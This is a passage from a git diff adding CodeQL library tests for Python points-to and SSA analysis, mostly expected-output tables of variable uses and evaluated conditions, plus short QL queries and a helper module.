ControlFlowNode for c1 | +| k_getsetattr.py:26 | cond_0 | ControlFlowNode for cond | +| k_getsetattr.py:27 | c2_0 | ControlFlowNode for c2 | +| k_getsetattr.py:28 | c1_1 | ControlFlowNode for c1 | +| k_getsetattr.py:29 | c2_2 | ControlFlowNode for c2 | +| k_getsetattr.py:30 | c3_0 | ControlFlowNode for c3 | +| k_getsetattr.py:31 | c3_0 | ControlFlowNode for c3 | +| s_scopes.py:0 | C2_0 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | __name___0 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | __package___0 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | f_0 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | float_2 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | i_0 | Exit node for Module code.s_scopes | +| s_scopes.py:0 | x_1 | Exit node for Module code.s_scopes | +| s_scopes.py:7 | f1_0 | Exit node for Class C2 | +| s_scopes.py:7 | f2_0 | Exit node for Class C2 | +| s_scopes.py:7 | float_2 | ControlFlowNode for ClassExpr | +| s_scopes.py:7 | float_2 | Exit node for Class C2 | +| s_scopes.py:7 | i1_0 | Exit node for Class C2 | +| s_scopes.py:7 | i2_0 | Exit node for Class C2 | +| s_scopes.py:7 | int_1 | Exit node for Class C2 | +| s_scopes.py:7 | s_0 | Exit node for Class C2 | +| s_scopes.py:7 | str_2 | Exit node for Class C2 | +| s_scopes.py:9 | int_0 | ControlFlowNode for int | +| s_scopes.py:10 | float_0 | ControlFlowNode for float | +| s_scopes.py:10 | float_3 | ControlFlowNode for float | +| s_scopes.py:18 | int_1 | ControlFlowNode for int | +| s_scopes.py:19 | str_2 | ControlFlowNode for str | +| s_scopes.py:20 | float_2 | ControlFlowNode for float | +| s_scopes.py:20 | float_3 | ControlFlowNode for float | +| s_scopes.py:22 | x_0 | ControlFlowNode for x | +| s_scopes.py:24 | float_2 | ControlFlowNode for float | diff --git a/python/ql/test/library-tests/PointsTo/new/SsaUses.ql b/python/ql/test/library-tests/PointsTo/new/SsaUses.ql new file mode 100644 index 00000000000..681ac79bc78 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/SsaUses.ql @@ -0,0 +1,9 @@ + +import python +import semmle.dataflow.SSA +import semmle.python.pointsto.PointsTo +import Util + +from EssaVariable var, ControlFlowNode use +where use = var.getAUse() +select locate(use.getLocation(), "abdeghjks_"), var.getRepresentation(), use.toString() diff --git a/python/ql/test/library-tests/PointsTo/new/TestEvaluate.expected b/python/ql/test/library-tests/PointsTo/new/TestEvaluate.expected new file mode 100644 index 00000000000..9bdee5cf24e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/TestEvaluate.expected @@ -0,0 +1,55 @@ +| b_condition.py:7 | Compare | true | x | NoneType None | +| b_condition.py:13 | Compare | false | x | NoneType None | +| b_condition.py:19 | UnaryExpr | true | x | NoneType None | +| b_condition.py:25 | x | false | x | NoneType None | +| b_condition.py:32 | UnaryExpr | false | x | int 1 | +| b_condition.py:36 | isinstance() | true | x | int 1 | +| b_condition.py:36 | isinstance() | true | x | int 7 | +| b_condition.py:71 | UnaryExpr | false | b | bool True | +| b_condition.py:77 | Compare | true | object | builtin-class object | +| b_condition.py:77 | Compare | true | t | builtin-class type | +| b_condition.py:82 | callable() | false | foo | bool True | +| b_condition.py:88 | x | false | x | NoneType None | +| b_condition.py:88 | y | false | y | NoneType None | +| b_condition.py:90 | x | false | x | NoneType None | +| b_condition.py:90 | y | false | y | NoneType None | +| b_condition.py:92 | x | false | x | NoneType None | +| b_condition.py:96 | y | false | y | NoneType None | +| b_condition.py:102 | UnaryExpr | false | a | a | +| b_condition.py:104 | UnaryExpr | false | a | a | +| c_tests.py:7 | Compare | true | x | NoneType None | +| c_tests.py:12 | x | false | x | int 0 | +| c_tests.py:12 | x | true | x | int 1 | +| c_tests.py:17 | Compare | false | x | int 1 | +| c_tests.py:17 | Compare | true | x | int 0 | +| c_tests.py:23 | len() | true | x | List | +| c_tests.py:23 | len() | true | x | Tuple | +| c_tests.py:26 | Compare | false | x | Tuple | +| c_tests.py:26 | Compare | true | x | List | +| c_tests.py:26 | Compare | true | x | Tuple | +| c_tests.py:29 | isinstance() | false | x | List | +| c_tests.py:29 | isinstance() | true | x | Tuple | +| c_tests.py:34 | Compare | true | Attribute | NoneType None | +| c_tests.py:39 | Attribute | false | Attribute | int 0 | +| c_tests.py:39 | Attribute | true | Attribute | int 1 | +| c_tests.py:44 | Compare | false | Attribute | int 1 | +| c_tests.py:44 | Compare | true | Attribute | int 0 | +| c_tests.py:50 | isinstance() | false | Attribute | List | +| c_tests.py:50 | isinstance() | true | Attribute | Tuple | +| c_tests.py:53 | Compare | false | Attribute | Tuple | +| c_tests.py:53 | Compare | true | Attribute | List | +| c_tests.py:53 | Compare | true | Attribute | Tuple | +| c_tests.py:60 | issubclass() | false | x | builtin-class type | +| c_tests.py:60 | issubclass() | true | x | builtin-class bool | +| c_tests.py:65 | hasattr() | false | x | builtin-class float | +| c_tests.py:65 | hasattr() | true | x | int 0 | +| c_tests.py:68 | callable() | false | x | int 0 | +| c_tests.py:68 | callable() | true | x | builtin-class float | +| c_tests.py:73 | x | true | x | int 1 | +| c_tests.py:73 | y | false | y | int 0 | +| c_tests.py:76 | x | true | x | int 1 | +| c_tests.py:76 | y | false | y | int 0 | +| c_tests.py:81 | b | true | b | bool True | +| c_tests.py:84 | UnaryExpr | false | b | bool True | +| c_tests.py:91 | x | false | x | NoneType None | +| c_tests.py:95 | UnaryExpr | true | x | NoneType None | diff --git a/python/ql/test/library-tests/PointsTo/new/TestEvaluate.ql b/python/ql/test/library-tests/PointsTo/new/TestEvaluate.ql new file mode 100644 index 00000000000..731b710d2c5 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/TestEvaluate.ql @@ -0,0 +1,14 @@ + +import python +import semmle.python.pointsto.PointsTo +import semmle.python.pointsto.PointsToContext +import Util + + +from ControlFlowNode test, ControlFlowNode use, Object val, boolean eval, ClassObject cls, PointsToContext ctx +where +not use instanceof NameConstantNode and +not use.getNode() instanceof ImmutableLiteral and +PointsTo::points_to(use, ctx, val, cls, _) and +eval = PointsTo::test_evaluates_boolean(test, use, ctx, val, cls, _) +select locate(test.getLocation(), "bc"), test.getNode().toString(), eval.toString(), use.getNode().toString(), val.toString() diff --git a/python/ql/test/library-tests/PointsTo/new/Util.qll b/python/ql/test/library-tests/PointsTo/new/Util.qll new file mode 100644 index 00000000000..8e1d317cc68 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Util.qll @@ -0,0 +1,30 @@ +import python + +bindingset[which] +string locate(Location l, string which) { + exists(string file, int line | + file = l.getFile().getShortName() and + line = l.getStartLine() and + file.charAt(0) = which.charAt(_) and + file.charAt(1) = "_" and + result = file + ":" + line + ) +} + +string repr(Object o) { + /* Do not show `unknownValue()` to keep noise levels down. + * To show it add: + * `o = unknownValue() and result = "*UNKNOWN VALUE*"` + */ + not o instanceof StringObject and not o = undefinedVariable() and not o = theUnknownType() and + not o = theBoundMethodType() and result = o.toString() + or + o = undefinedVariable() and result = "*UNDEFINED*" + or + o = theUnknownType() and result = "*UNKNOWN TYPE*" + or + /* Work around differing names in 2/3 */ + result = "'" + o.(StringObject).getText() + "'" + or + o = theBoundMethodType() and result = "builtin-class method" +} diff --git a/python/ql/test/library-tests/PointsTo/new/VarUses.expected b/python/ql/test/library-tests/PointsTo/new/VarUses.expected new file mode 100644 index 00000000000..18fb97ea47a --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/VarUses.expected @@ -0,0 +1,442 @@ +| a_simple.py:0 | C | Exit node for Module code.a_simple | +| a_simple.py:0 | KeyError | Exit node for Module code.a_simple | +| a_simple.py:0 | __name__ | Exit node for Module code.a_simple | +| a_simple.py:0 | __package__ | Exit node for Module code.a_simple | +| a_simple.py:0 | dict | Exit node for Module code.a_simple | +| a_simple.py:0 | f | Exit node for Module code.a_simple | +| a_simple.py:0 | f1 | Exit node for Module code.a_simple | +| a_simple.py:0 | func | Exit node for Module code.a_simple | +| a_simple.py:0 | i1 | Exit node for Module code.a_simple | +| a_simple.py:0 | multi_loop | Exit node for Module code.a_simple | +| a_simple.py:0 | multi_loop_in_try | Exit node for Module code.a_simple | +| a_simple.py:0 | object | Exit node for Module code.a_simple | +| a_simple.py:0 | s | Exit node for Module code.a_simple | +| a_simple.py:0 | tuple | Exit node for Module code.a_simple | +| a_simple.py:0 | vararg_kwarg | Exit node for Module code.a_simple | +| a_simple.py:0 | with_definition | Exit node for Module code.a_simple | +| a_simple.py:3 | dict | ControlFlowNode for dict | +| a_simple.py:4 | tuple | ControlFlowNode for tuple | +| a_simple.py:11 | object | ControlFlowNode for object | +| a_simple.py:14 | d | Exit node for Function vararg_kwarg | +| a_simple.py:14 | t | Exit node for Function vararg_kwarg | +| a_simple.py:15 | t | ControlFlowNode for t | +| a_simple.py:16 | d | ControlFlowNode for d | +| a_simple.py:18 | seq | Exit node for Function multi_loop | +| a_simple.py:18 | x | Exit node for Function multi_loop | +| a_simple.py:18 | y | Exit node for Function multi_loop | +| a_simple.py:20 | seq | ControlFlowNode for seq | +| a_simple.py:21 | x | ControlFlowNode for x | +| a_simple.py:23 | x | Exit node for Function with_definition | +| a_simple.py:23 | y | Exit node for Function with_definition | +| a_simple.py:24 | x | ControlFlowNode for x | +| a_simple.py:25 | y | ControlFlowNode for y | +| a_simple.py:27 | p | Exit node for Function multi_loop_in_try | +| a_simple.py:27 | q | Exit node for Function multi_loop_in_try | +| a_simple.py:27 | x | Exit node for Function multi_loop_in_try | +| a_simple.py:29 | x | ControlFlowNode for x | +| a_simple.py:30 | p | ControlFlowNode for p | +| a_simple.py:31 | KeyError | ControlFlowNode for KeyError | +| a_simple.py:34 | args | Exit node for Function f | +| a_simple.py:34 | kwargs | Exit node for Function f | +| a_simple.py:35 | args | ControlFlowNode for args | +| a_simple.py:36 | kwargs | ControlFlowNode for kwargs | +| b_condition.py:0 | Exception | Exit node for Module code.b_condition | +| b_condition.py:0 | TypeError | Exit node for Module code.b_condition | +| b_condition.py:0 | __name__ | Exit node for Module code.b_condition | +| b_condition.py:0 | __package__ | Exit node for Module code.b_condition | +| b_condition.py:0 | callable | Exit node for Module code.b_condition | +| b_condition.py:0 | cond | Exit node for Module code.b_condition | +| b_condition.py:0 | double_attr_check | Exit node for Module code.b_condition | +| b_condition.py:0 | f | Exit node for Module code.b_condition | +| b_condition.py:0 | g | Exit node for Module code.b_condition | +| b_condition.py:0 | h | Exit node for Module code.b_condition | +| b_condition.py:0 | int | Exit node for Module code.b_condition | +| b_condition.py:0 | isinstance | Exit node for Module code.b_condition | +| b_condition.py:0 | k | Exit node for Module code.b_condition | +| b_condition.py:0 | list | Exit node for Module code.b_condition | +| b_condition.py:0 | loop | Exit node for Module code.b_condition | +| b_condition.py:0 | not_or_not | Exit node for Module code.b_condition | +| b_condition.py:0 | object | Exit node for Module code.b_condition | +| b_condition.py:0 | odasa6261 | Exit node for Module code.b_condition | +| b_condition.py:0 | seq | Exit node for Module code.b_condition | +| b_condition.py:0 | split_bool1 | Exit node for Module code.b_condition | +| b_condition.py:0 | thing | Exit node for Module code.b_condition | +| b_condition.py:0 | tuple | Exit node for Module code.b_condition | +| b_condition.py:0 | type | Exit node for Module code.b_condition | +| b_condition.py:0 | unknown | Exit node for Module code.b_condition | +| b_condition.py:0 | use | Exit node for Module code.b_condition | +| b_condition.py:0 | v2 | Exit node for Module code.b_condition | +| b_condition.py:4 | x | Exit node for Function f | +| b_condition.py:4 | y | Exit node for Function f | +| b_condition.py:5 | cond | ControlFlowNode for cond | +| b_condition.py:5 | unknown | ControlFlowNode for unknown | +| b_condition.py:7 | x | ControlFlowNode for x | +| b_condition.py:9 | use | ControlFlowNode for use | +| b_condition.py:9 | x | ControlFlowNode for x | +| b_condition.py:11 | cond | ControlFlowNode for cond | +| b_condition.py:11 | unknown | ControlFlowNode for unknown | +| b_condition.py:13 | x | ControlFlowNode for x | +| b_condition.py:15 | use | ControlFlowNode for use | +| b_condition.py:15 | x | ControlFlowNode for x | +| b_condition.py:17 | cond | ControlFlowNode for cond | +| b_condition.py:17 | unknown | ControlFlowNode for unknown | +| b_condition.py:19 | x | ControlFlowNode for x | +| b_condition.py:21 | use | ControlFlowNode for use | +| b_condition.py:21 | x | ControlFlowNode for x | +| b_condition.py:23 | cond | ControlFlowNode for cond | +| b_condition.py:23 | unknown | ControlFlowNode for unknown | +| b_condition.py:25 | x | ControlFlowNode for x | +| b_condition.py:26 | use | ControlFlowNode for use | +| b_condition.py:26 | x | ControlFlowNode for x | +| b_condition.py:27 | unknown | ControlFlowNode for unknown | +| b_condition.py:29 | use | ControlFlowNode for use | +| b_condition.py:29 | x | ControlFlowNode for x | +| b_condition.py:31 | cond | ControlFlowNode for cond | +| b_condition.py:31 | unknown | ControlFlowNode for unknown | +| b_condition.py:32 | x | ControlFlowNode for x | +| b_condition.py:34 | use | ControlFlowNode for use | +| b_condition.py:34 | x | ControlFlowNode for x | +| b_condition.py:36 | int | ControlFlowNode for int | +| b_condition.py:36 | isinstance | ControlFlowNode for isinstance | +| b_condition.py:36 | x | ControlFlowNode for x | +| b_condition.py:37 | use | ControlFlowNode for use | +| b_condition.py:37 | x | ControlFlowNode for x | +| b_condition.py:39 | __name__ | ControlFlowNode for thing() | +| b_condition.py:39 | __package__ | ControlFlowNode for thing() | +| b_condition.py:39 | double_attr_check | ControlFlowNode for thing() | +| b_condition.py:39 | f | ControlFlowNode for thing() | +| b_condition.py:39 | g | ControlFlowNode for thing() | +| b_condition.py:39 | h | ControlFlowNode for thing() | +| b_condition.py:39 | k | ControlFlowNode for thing() | +| b_condition.py:39 | loop | ControlFlowNode for thing() | +| b_condition.py:39 | not_or_not | ControlFlowNode for thing() | +| b_condition.py:39 | odasa6261 | ControlFlowNode for thing() | +| b_condition.py:39 | split_bool1 | ControlFlowNode for thing() | +| b_condition.py:39 | thing | ControlFlowNode for thing | +| b_condition.py:39 | v2 | ControlFlowNode for thing() | +| b_condition.py:41 | v2 | ControlFlowNode for v2 | +| b_condition.py:42 | v2 | ControlFlowNode for v2 | +| b_condition.py:43 | __name__ | ControlFlowNode for use() | +| b_condition.py:43 | __package__ | ControlFlowNode for use() | +| b_condition.py:43 | double_attr_check | ControlFlowNode for use() | +| b_condition.py:43 | f | ControlFlowNode for use() | +| b_condition.py:43 | g | ControlFlowNode for use() | +| b_condition.py:43 | h | ControlFlowNode for use() | +| b_condition.py:43 | k | ControlFlowNode for use() | +| b_condition.py:43 | loop | ControlFlowNode for use() | +| b_condition.py:43 | not_or_not | ControlFlowNode for use() | +| b_condition.py:43 | odasa6261 | ControlFlowNode for use() | +| b_condition.py:43 | split_bool1 | ControlFlowNode for use() | +| b_condition.py:43 | use | ControlFlowNode for use | +| b_condition.py:43 | v2 | ControlFlowNode for use() | +| b_condition.py:43 | v2 | ControlFlowNode for v2 | +| b_condition.py:44 | __name__ | ControlFlowNode for use() | +| b_condition.py:44 | __package__ | ControlFlowNode for use() | +| b_condition.py:44 | double_attr_check | ControlFlowNode for use() | +| b_condition.py:44 | f | ControlFlowNode for use() | +| b_condition.py:44 | g | ControlFlowNode for use() | +| b_condition.py:44 | h | ControlFlowNode for use() | +| b_condition.py:44 | k | ControlFlowNode for use() | +| b_condition.py:44 | loop | ControlFlowNode for use() | +| b_condition.py:44 | not_or_not | ControlFlowNode for use() | +| b_condition.py:44 | odasa6261 | ControlFlowNode for use() | +| b_condition.py:44 | split_bool1 | ControlFlowNode for use() | +| b_condition.py:44 | use | ControlFlowNode for use | +| b_condition.py:44 | v2 | ControlFlowNode for use() | +| b_condition.py:44 | v2 | ControlFlowNode for v2 | +| b_condition.py:50 | x | Exit node for Function g | +| b_condition.py:51 | x | ControlFlowNode for x | +| b_condition.py:52 | x | ControlFlowNode for x | +| b_condition.py:55 | seq | Exit node for Function loop | +| b_condition.py:55 | v | Exit node for Function loop | +| b_condition.py:56 | seq | ControlFlowNode for seq | +| b_condition.py:57 | v | ControlFlowNode for v | +| b_condition.py:58 | use | ControlFlowNode for use | +| b_condition.py:58 | v | ControlFlowNode for v | +| b_condition.py:61 | x | Exit node for Function double_attr_check | +| b_condition.py:61 | y | Exit node for Function double_attr_check | +| b_condition.py:62 | x | ControlFlowNode for x | +| b_condition.py:64 | y | ControlFlowNode for y | +| b_condition.py:65 | x | ControlFlowNode for x | +| b_condition.py:66 | seq | ControlFlowNode for seq | +| b_condition.py:66 | x | ControlFlowNode for x | +| b_condition.py:69 | b | Exit node for Function h | +| b_condition.py:70 | cond | ControlFlowNode for cond | +| b_condition.py:70 | unknown | ControlFlowNode for unknown | +| b_condition.py:71 | b | ControlFlowNode for b | +| b_condition.py:73 | b | ControlFlowNode for b | +| b_condition.py:75 | t | Exit node for Function k | +| b_condition.py:76 | type | ControlFlowNode for type | +| b_condition.py:77 | object | ControlFlowNode for object | +| b_condition.py:77 | t | ControlFlowNode for t | +| b_condition.py:78 | object | ControlFlowNode for object | +| b_condition.py:79 | t | ControlFlowNode for t | +| b_condition.py:79 | use | ControlFlowNode for use | +| b_condition.py:81 | bar | Exit node for Function odasa6261 | +| b_condition.py:81 | foo | Exit node for Function odasa6261 | +| b_condition.py:82 | callable | ControlFlowNode for callable | +| b_condition.py:82 | foo | ControlFlowNode for foo | +| b_condition.py:84 | foo | ControlFlowNode for foo | +| b_condition.py:87 | x | Exit node for Function split_bool1 | +| b_condition.py:87 | y | Exit node for Function split_bool1 | +| b_condition.py:88 | x | ControlFlowNode for x | +| b_condition.py:88 | y | ControlFlowNode for y | +| b_condition.py:90 | x | ControlFlowNode for x | +| b_condition.py:90 | y | ControlFlowNode for y | +| b_condition.py:92 | x | ControlFlowNode for x | +| b_condition.py:93 | use | ControlFlowNode for use | +| b_condition.py:93 | y | ControlFlowNode for y | +| b_condition.py:95 | use | ControlFlowNode for use | +| b_condition.py:95 | y | ControlFlowNode for y | +| b_condition.py:96 | y | ControlFlowNode for y | +| b_condition.py:97 | use | ControlFlowNode for use | +| b_condition.py:97 | x | ControlFlowNode for x | +| b_condition.py:99 | use | ControlFlowNode for use | +| b_condition.py:99 | x | ControlFlowNode for x | +| b_condition.py:101 | a | Exit node for Function not_or_not | +| b_condition.py:102 | a | ControlFlowNode for a | +| b_condition.py:102 | isinstance | ControlFlowNode for isinstance | +| b_condition.py:102 | list | ControlFlowNode for list | +| b_condition.py:102 | tuple | ControlFlowNode for tuple | +| b_condition.py:103 | TypeError | ControlFlowNode for TypeError | +| b_condition.py:104 | a | ControlFlowNode for a | +| b_condition.py:105 | a | ControlFlowNode for a | +| b_condition.py:106 | Exception | ControlFlowNode for Exception | +| d_globals.py:0 | D | Exit node for Module code.d_globals | +| d_globals.py:0 | Ugly | Exit node for Module code.d_globals | +| d_globals.py:0 | X | Exit node for Module code.d_globals | +| d_globals.py:0 | __name__ | Exit node for Module code.d_globals | +| d_globals.py:0 | __package__ | Exit node for Module code.d_globals | +| d_globals.py:0 | assign_global | Exit node for Module code.d_globals | +| d_globals.py:0 | cond | Exit node for Module code.d_globals | +| d_globals.py:0 | cond3 | Exit node for Module code.d_globals | +| d_globals.py:0 | dict | Exit node for Module code.d_globals | +| d_globals.py:0 | g1 | Exit node for Module code.d_globals | +| d_globals.py:0 | g2 | Exit node for Module code.d_globals | +| d_globals.py:0 | g3 | Exit node for Module code.d_globals | +| d_globals.py:0 | g4 | Exit node for Module code.d_globals | +| d_globals.py:0 | get_g4 | Exit node for Module code.d_globals | +| d_globals.py:0 | glob | Exit node for Module code.d_globals | +| d_globals.py:0 | init | Exit node for Module code.d_globals | +| d_globals.py:0 | j | Exit node for Module code.d_globals | +| d_globals.py:0 | k | Exit node for Module code.d_globals | +| d_globals.py:0 | list | Exit node for Module code.d_globals | +| d_globals.py:0 | modinit | Exit node for Module code.d_globals | +| d_globals.py:0 | object | Exit node for Module code.d_globals | +| d_globals.py:0 | other_cond | Exit node for Module code.d_globals | +| d_globals.py:0 | outer | Exit node for Module code.d_globals | +| d_globals.py:0 | redefine | Exit node for Module code.d_globals | +| d_globals.py:0 | set_g4 | Exit node for Module code.d_globals | +| d_globals.py:0 | set_g4_indirect | Exit node for Module code.d_globals | +| d_globals.py:0 | tuple | Exit node for Module code.d_globals | +| d_globals.py:0 | type | Exit node for Module code.d_globals | +| d_globals.py:0 | use_list_attribute | Exit node for Module code.d_globals | +| d_globals.py:0 | v3 | Exit node for Module code.d_globals | +| d_globals.py:0 | x | Exit node for Module code.d_globals | +| d_globals.py:0 | y | Exit node for Module code.d_globals | +| d_globals.py:0 | z | Exit node for Module code.d_globals | +| d_globals.py:2 | g1 | Exit node for Function j | +| d_globals.py:2 | g2 | Exit node for Function j | +| d_globals.py:2 | g3 | Exit node for Function j | +| d_globals.py:2 | g4 | Exit node for Function j | +| d_globals.py:2 | glob | Exit node for Function j | +| d_globals.py:2 | z | Exit node for Function j | +| d_globals.py:3 | dict | ControlFlowNode for dict | +| d_globals.py:3 | tuple | ControlFlowNode for tuple | +| d_globals.py:4 | dict | ControlFlowNode for dict | +| d_globals.py:6 | dict | ControlFlowNode for dict | +| d_globals.py:7 | tuple | ControlFlowNode for tuple | +| d_globals.py:8 | tuple | ControlFlowNode for tuple | +| d_globals.py:16 | g1 | Exit node for Function assign_global | +| d_globals.py:16 | g2 | Exit node for Function assign_global | +| d_globals.py:16 | g3 | Exit node for Function assign_global | +| d_globals.py:16 | g4 | Exit node for Function assign_global | +| d_globals.py:16 | glob | Exit node for Function assign_global | +| d_globals.py:16 | z | Exit node for Function assign_global | +| d_globals.py:19 | g1 | ControlFlowNode for g1 | +| d_globals.py:25 | g1 | Exit node for Function init | +| d_globals.py:25 | g2 | Exit node for Function init | +| d_globals.py:25 | g3 | Exit node for Function init | +| d_globals.py:25 | g4 | Exit node for Function init | +| d_globals.py:25 | glob | Exit node for Function init | +| d_globals.py:25 | z | Exit node for Function init | +| d_globals.py:29 | D | ControlFlowNode for init() | +| d_globals.py:29 | Ugly | ControlFlowNode for init() | +| d_globals.py:29 | X | ControlFlowNode for init() | +| d_globals.py:29 | __name__ | ControlFlowNode for init() | +| d_globals.py:29 | __package__ | ControlFlowNode for init() | +| d_globals.py:29 | assign_global | ControlFlowNode for init() | +| d_globals.py:29 | dict | ControlFlowNode for init() | +| d_globals.py:29 | g1 | ControlFlowNode for init() | +| d_globals.py:29 | g2 | ControlFlowNode for init() | +| d_globals.py:29 | g3 | ControlFlowNode for init() | +| d_globals.py:29 | g4 | ControlFlowNode for init() | +| d_globals.py:29 | get_g4 | ControlFlowNode for init() | +| d_globals.py:29 | glob | ControlFlowNode for init() | +| d_globals.py:29 | init | ControlFlowNode for init | +| d_globals.py:29 | init | ControlFlowNode for init() | +| d_globals.py:29 | j | ControlFlowNode for init() | +| d_globals.py:29 | k | ControlFlowNode for init() | +| d_globals.py:29 | modinit | ControlFlowNode for init() | +| d_globals.py:29 | outer | ControlFlowNode for init() | +| d_globals.py:29 | redefine | ControlFlowNode for init() | +| d_globals.py:29 | set_g4 | ControlFlowNode for init() | +| d_globals.py:29 | set_g4_indirect | ControlFlowNode for init() | +| d_globals.py:29 | tuple | ControlFlowNode for init() | +| d_globals.py:29 | use_list_attribute | ControlFlowNode for init() | +| d_globals.py:29 | x | ControlFlowNode for init() | +| d_globals.py:29 | y | ControlFlowNode for init() | +| d_globals.py:29 | z | ControlFlowNode for init() | +| d_globals.py:30 | g2 | ControlFlowNode for g2 | +| d_globals.py:35 | __init__ | Exit node for Class Ugly | +| d_globals.py:35 | meth | Exit node for Class Ugly | +| d_globals.py:35 | object | ControlFlowNode for object | +| d_globals.py:37 | g1 | Exit node for Function __init__ | +| d_globals.py:37 | g2 | Exit node for Function __init__ | +| d_globals.py:37 | g3 | Exit node for Function __init__ | +| d_globals.py:37 | g4 | Exit node for Function __init__ | +| d_globals.py:37 | glob | Exit node for Function __init__ | +| d_globals.py:37 | self | Exit node for Function __init__ | +| d_globals.py:37 | z | Exit node for Function __init__ | +| d_globals.py:41 | g1 | Exit node for Function meth | +| d_globals.py:41 | g2 | Exit node for Function meth | +| d_globals.py:41 | g3 | Exit node for Function meth | +| d_globals.py:41 | g4 | Exit node for Function meth | +| d_globals.py:41 | glob | Exit node for Function meth | +| d_globals.py:41 | self | Exit node for Function meth | +| d_globals.py:41 | z | Exit node for Function meth | +| d_globals.py:42 | g3 | ControlFlowNode for g3 | +| d_globals.py:47 | x | ControlFlowNode for x | +| d_globals.py:48 | cond | ControlFlowNode for cond | +| d_globals.py:51 | other_cond | ControlFlowNode for other_cond | +| d_globals.py:55 | cond3 | ControlFlowNode for cond3 | +| d_globals.py:59 | y | ControlFlowNode for y | +| d_globals.py:60 | v3 | ControlFlowNode for v3 | +| d_globals.py:62 | X | ControlFlowNode for ClassExpr | +| d_globals.py:62 | g3 | ControlFlowNode for ClassExpr | +| d_globals.py:62 | object | ControlFlowNode for object | +| d_globals.py:62 | v4 | Exit node for Class X | +| d_globals.py:62 | y | ControlFlowNode for ClassExpr | +| d_globals.py:62 | y | Exit node for Class X | +| d_globals.py:63 | y | ControlFlowNode for y | +| d_globals.py:64 | v3 | ControlFlowNode for v3 | +| d_globals.py:65 | X | ControlFlowNode for X | +| d_globals.py:66 | g3 | ControlFlowNode for g3 | +| d_globals.py:68 | type | ControlFlowNode for type | +| d_globals.py:70 | arg | Exit node for Function k | +| d_globals.py:70 | g1 | Exit node for Function k | +| d_globals.py:70 | g2 | Exit node for Function k | +| d_globals.py:70 | g3 | Exit node for Function k | +| d_globals.py:70 | g4 | Exit node for Function k | +| d_globals.py:70 | glob | Exit node for Function k | +| d_globals.py:70 | z | Exit node for Function k | +| d_globals.py:71 | type | ControlFlowNode for type | +| d_globals.py:75 | g1 | Exit node for Function get_g4 | +| d_globals.py:75 | g2 | Exit node for Function get_g4 | +| d_globals.py:75 | g3 | Exit node for Function get_g4 | +| d_globals.py:75 | g4 | Exit node for Function get_g4 | +| d_globals.py:75 | glob | Exit node for Function get_g4 | +| d_globals.py:75 | z | Exit node for Function get_g4 | +| d_globals.py:76 | g4 | ControlFlowNode for g4 | +| d_globals.py:77 | g1 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g2 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g3 | ControlFlowNode for set_g4() | +| d_globals.py:77 | g4 | ControlFlowNode for set_g4() | +| d_globals.py:77 | glob | ControlFlowNode for set_g4() | +| d_globals.py:77 | set_g4 | ControlFlowNode for set_g4 | +| d_globals.py:77 | z | ControlFlowNode for set_g4() | +| d_globals.py:78 | g4 | ControlFlowNode for g4 | +| d_globals.py:80 | g1 | Exit node for Function set_g4 | +| d_globals.py:80 | g2 | Exit node for Function set_g4 | +| d_globals.py:80 | g3 | Exit node for Function set_g4 | +| d_globals.py:80 | g4 | Exit node for Function set_g4 | +| d_globals.py:80 | glob | Exit node for Function set_g4 | +| d_globals.py:80 | z | Exit node for Function set_g4 | +| d_globals.py:81 | g1 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g2 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g3 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | g4 | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | glob | ControlFlowNode for set_g4_indirect() | +| d_globals.py:81 | set_g4_indirect | ControlFlowNode for set_g4_indirect | +| d_globals.py:81 | z | ControlFlowNode for set_g4_indirect() | +| d_globals.py:83 | g1 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g2 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g3 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | g4 | Exit node for Function set_g4_indirect | +| d_globals.py:83 | glob | Exit node for Function set_g4_indirect | +| d_globals.py:83 | z | Exit node for Function set_g4_indirect | +| d_globals.py:87 | object | ControlFlowNode for object | +| d_globals.py:92 | modinit | ControlFlowNode for modinit | +| d_globals.py:95 | g1 | Exit node for Function outer | +| d_globals.py:95 | g2 | Exit node for Function outer | +| d_globals.py:95 | g3 | Exit node for Function outer | +| d_globals.py:95 | g4 | Exit node for Function outer | +| d_globals.py:95 | glob | Exit node for Function outer | +| d_globals.py:95 | inner | Exit node for Function outer | +| d_globals.py:95 | otherInner | Exit node for Function outer | +| d_globals.py:95 | z | Exit node for Function outer | +| d_globals.py:96 | g1 | Exit node for Function inner | +| d_globals.py:96 | g2 | Exit node for Function inner | +| d_globals.py:96 | g3 | Exit node for Function inner | +| d_globals.py:96 | g4 | Exit node for Function inner | +| d_globals.py:96 | glob | Exit node for Function inner | +| d_globals.py:96 | z | Exit node for Function inner | +| d_globals.py:99 | glob | ControlFlowNode for glob | +| d_globals.py:101 | g1 | Exit node for Function otherInner | +| d_globals.py:101 | g2 | Exit node for Function otherInner | +| d_globals.py:101 | g3 | Exit node for Function otherInner | +| d_globals.py:101 | g4 | Exit node for Function otherInner | +| d_globals.py:101 | glob | Exit node for Function otherInner | +| d_globals.py:101 | z | Exit node for Function otherInner | +| d_globals.py:102 | glob | ControlFlowNode for glob | +| d_globals.py:104 | g1 | ControlFlowNode for inner() | +| d_globals.py:104 | g2 | ControlFlowNode for inner() | +| d_globals.py:104 | g3 | ControlFlowNode for inner() | +| d_globals.py:104 | g4 | ControlFlowNode for inner() | +| d_globals.py:104 | glob | ControlFlowNode for inner() | +| d_globals.py:104 | inner | ControlFlowNode for inner | +| d_globals.py:104 | z | ControlFlowNode for inner() | +| d_globals.py:107 | g1 | Exit node for Function redefine | +| d_globals.py:107 | g2 | Exit node for Function redefine | +| d_globals.py:107 | g3 | Exit node for Function redefine | +| d_globals.py:107 | g4 | Exit node for Function redefine | +| 